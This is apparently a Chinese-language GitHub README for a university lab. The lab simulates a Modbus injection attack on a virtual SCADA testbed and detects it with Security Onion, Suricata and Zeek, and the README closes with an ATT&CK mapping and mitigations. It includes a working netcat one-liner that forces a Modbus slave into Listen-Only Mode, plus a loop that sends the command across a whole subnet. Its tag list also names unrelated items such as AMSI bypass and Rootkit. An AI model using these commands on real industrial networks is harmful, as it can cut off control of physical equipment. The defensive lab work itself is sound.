DurgaRamireddy/SCADA-Modbus-Attack-Detection-with-Security-Onion
GitHub: DurgaRamireddy/SCADA-Modbus-Attack-Detection-with-Security-Onion
一个模拟SCADA环境Modbus攻击并在Security Onion平台上实现威胁检测的工控安全实验项目,展示了从攻击注入到检测告警的完整流程。
Stars: 0 | Forks: 0
# SCADA Modbus 攻击检测 - 使用 Security Onion 进行 ICS 安全监控
一个实操性的 OT/ICS 安全实验,模拟针对 SCADA 环境的 Modbus 数据包注入攻击,并使用 Security Onion、Suricata、Zeek 和 Wireshark 检测恶意活动——演示核心的工业控制系统威胁检测工作流程。
## 实验环境
| 系统 | 角色 |
|---|---|
| Security Onion | 网络监控与 IDS |
| Modsak1 | Modbus 从站设备 |
| Modsak2 | Modbus 主站控制器 |
**网络配置**
| 适配器 | 用途 |
|---|---|
| Host-Only | 所有虚拟机之间的内部 SCADA 网络通信 |
| Bridged (仅 Security Onion) | 系统更新和外部访问 |
## Security Onion 配置
Security Onion 被配置为在攻击模拟前监控 SCADA 流量:
1. 访问 Security Onion Web 界面并创建了一个网络传感器
2. 启用 **Suricata** 进行基于特征的入侵检测
3. 启用 **Zeek** 进行深度包检测和协议分析
4. 编写了一条 **自定义 Suricata 规则** 以检测可疑的 Modbus 命令
## SCADA 通信基线
在发起攻击之前,验证了主站和从站之间的正常 Modbus 通信,以建立干净的基线。
**测试命令:** Report Slave ID (Modbus 功能码 0x11)
Wireshark 确认:
- Modsak2 → Modsak1 之间通信成功
- Modbus 数据包结构正确
- 记录的十六进制负载值用于攻击模拟参考

## 攻击模拟
### Modbus 数据包注入 - 只听模式 (Listen-Only Mode)
精心构造了一个恶意 Modbus 数据包,强制从站设备进入 **Listen-Only Mode**,从而禁用其响应并切断 SCADA 通信。
**攻击方法:** 使用 Netcat 配合预定义的十六进制负载,目标端口 502
```
printf '\x00\x02\x00\x00\x00\x02\x01\x11\x08\x04' | nc 192.168.255.x 502
```
**结果:**
- Modsak1 进入 Listen-Only Mode
- 从站停止响应主站控制器
- SCADA 通信完全中断
- Security Onion 记录了恶意流量
### 自动化子网范围攻击脚本
为了模拟更大规模的 ICS 攻击,该注入过程在整个子网内自动化执行——复制了攻击者扫描暴露的 Modbus 设备的方式:
```
for i in {1..254}; do
echo "Attacking 192.168.255.$i"
printf '\x00\x02\x00\x00\x00\x02\x01\x11\x08\x04' | nc 192.168.255.$i 502
done
```
Security Onion 日志捕获了子网内的多次注入尝试,展示了协议级 ICS 攻击的潜在规模。

## 检测结果
### Suricata
- 自定义规则在检测到恶意 Modbus 功能码时触发
- 为每次注入尝试生成入侵警报
- 子网扫描被标记为重复的异常活动
### Zeek
- 在数据包级别分析工业协议流量
- 记录异常的 Modbus 通信模式
- 记录连接元数据以构建取证时间线
### Wireshark
- 在十六进制级别验证攻击负载结构
- 确认恶意 Modbus 数据包的传输
- 数据包捕获验证了检测准确性

## MITRE ATT&CK for ICS 映射
| 技术 | ID | 证据 |
|---|---|---|
| Modify Parameter | T0836 | Modbus 命令强制从站进入 Listen-Only Mode |
| Network Scanning | T0840 | 自动化子网扫描,遍历端口 502 上的所有 254 台主机 |
| Exploitation of Remote Services | T0866 | 从站接受了未经认证的 Modbus 命令 |
| Denial of Service | T0814 | 通过 Listen-Only Mode 中断 SCADA 通信 |
| Commonly Used Port | T0885 | 攻击通过 Modbus 默认端口 502 传输 |
## 关键漏洞 - 无认证的 Modbus 协议
Modbus **没有内置认证或加密**。网络上的任何设备都可以向 Modbus 从站发送任意功能码——无需凭据。这是本实验利用的根本弱点,也是目前仍在运行 Modbus、DNP3 和类似协议的传统 ICS 环境中存在的系统性问题。
## 防御建议
| 控制措施 | 目的 |
|---|---|
| 网络分段 (IT/OT 隔离) | 防止攻击者从企业网络访问 ICS 设备 |
| 具备 ICS 感知能力的 IDS (Suricata 自定义规则) | 检测异常的 Modbus 功能码和命令序列 |
| 白名单合法的 Modbus 主站 | 阻止来自未授权源 IP 的命令 |
| 协议级监控 (Zeek) | 记录所有 Modbus 流量用于异常检测和取证 |
| 禁用未使用的 Modbus 功能码 | 在设备配置级别减少攻击面 |
| 部署 Modbus 防火墙 / 协议网关 | 在数据包到达从站设备前强制执行命令验证 |
## 挑战与解决方案
| 问题 | 解决方案 |
|---|---|
| `No Route to Host` 错误 | 确认所有虚拟机处于 Host-Only 模式,重启网络服务 |
| Security Onion 未捕获 Modbus 流量 | 确认监控接口正确,重启传感器 |
| Suricata 警报未触发 | 调整检测阈值,重放攻击流量以进行验证 |
## 核心要点
Modbus 等传统 ICS 协议是为隔离环境中的可靠性而设计的——并非为了联网环境中的安全性。缺乏认证意味着网络上的任何设备都可以发出命令,对工业设备拥有完全的权限。本实验表明,即使使用 Security Onion 等开源工具进行基本的网络监控也能暴露这些攻击,但预防需要分段和协议级控制,而不仅仅是检测。
## 展示技能
`ICS/OT Security` `SCADA Monitoring` `Modbus Protocol Analysis` `Security Onion Deployment` `Custom Suricata Rule Creation` `Zeek Network Analysis` `Wireshark Packet Inspection` `Bash Scripting` `MITRE ATT&CK for ICS` `Incident Detection`
**作者:** Durga Sai Sri Ramireddy | 休斯顿大学 网络安全硕士
[](https://linkedin.com/in/durga-ramireddy)
[](https://github.com/DurgaRamireddy)
标签:AMSI绕过, HTTP/HTTPS抓包, ICS安全, Metaprompt, MITRE ATT&CK ICS, Modbus协议, Netcat, OT安全, PKINIT, Rootkit, SCADA安全, Security Onion, Suricata规则, Wireshark抓包, Zeek, 协议模糊测试, 威胁检测, 工业网络监控, 工控安全, 应用安全, 态势感知, 拒绝服务, 数据包注入, 欺骗攻击, 深度包检测, 网络安全分析, 网络安全实验室